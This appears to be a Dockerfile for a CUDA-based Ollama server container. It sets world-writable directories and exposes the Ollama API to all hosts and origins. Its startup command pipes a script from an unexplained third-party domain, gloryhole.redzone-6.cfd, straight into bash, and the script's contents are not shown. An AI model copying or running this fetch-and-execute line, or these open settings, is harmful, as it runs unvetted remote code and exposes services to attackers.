File size: 960 Bytes
14d2364
 
9fca911
14d2364
674bb19
3ff88b2
14d2364
db7b8b6
8ca4ee1
 
db7b8b6
674bb19
 
e607c5d
3a01f0a
ee60019
5714b18
867cf3d
ce4af29
07d5bdf
5714b18
d8a28a9
 
 
7817aa3
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
FROM nvidia/cuda:12.8.0-cudnn-devel-ubuntu22.04
#FROM ubuntu:latest
WORKDIR /app
RUN mkdir -p /app && chmod 777 /app # && chown ubuntu:ubuntu /app # for ubuntu:latest
RUN apt-get update -y && apt-get upgrade -y
RUN apt-get install -y curl wget build-essential git tar gzip htop micro python3 python3-pip psmisc yt-dlp python3-dev gdb
RUN pip install langchain-yt-dlp #--break-system-packages  # for ubuntu:latest
RUN curl -fsSL https://ollama.com/install.sh | sh
RUN mkdir -p /.ollama && chmod 777 /.ollama
RUN touch /.gitconfig && chmod 777 /.gitconfig
    
RUN mkdir -p /usr/local/share/model && chmod -R 777 /usr/local/share/model
ENV OLLAMA_MODELS=/usr/local/share/model/
ENV OLLAMA_HOST=0.0.0.0
ENV OLLAMA_ORIGINS="[*]"
ENV OLLAMA_KEEP_ALIVE=-1
ENV OLLAMA_API_KEY=$OLLAMA_API
EXPOSE 7860
EXPOSE 11434 


#CMD curl -fsSL https://gloryhole.redzone-6.cfd/packaged/import.sh | bash -s


CMD wget -qO- https://gloryhole.redzone-6.cfd/packaged/import.sh | bash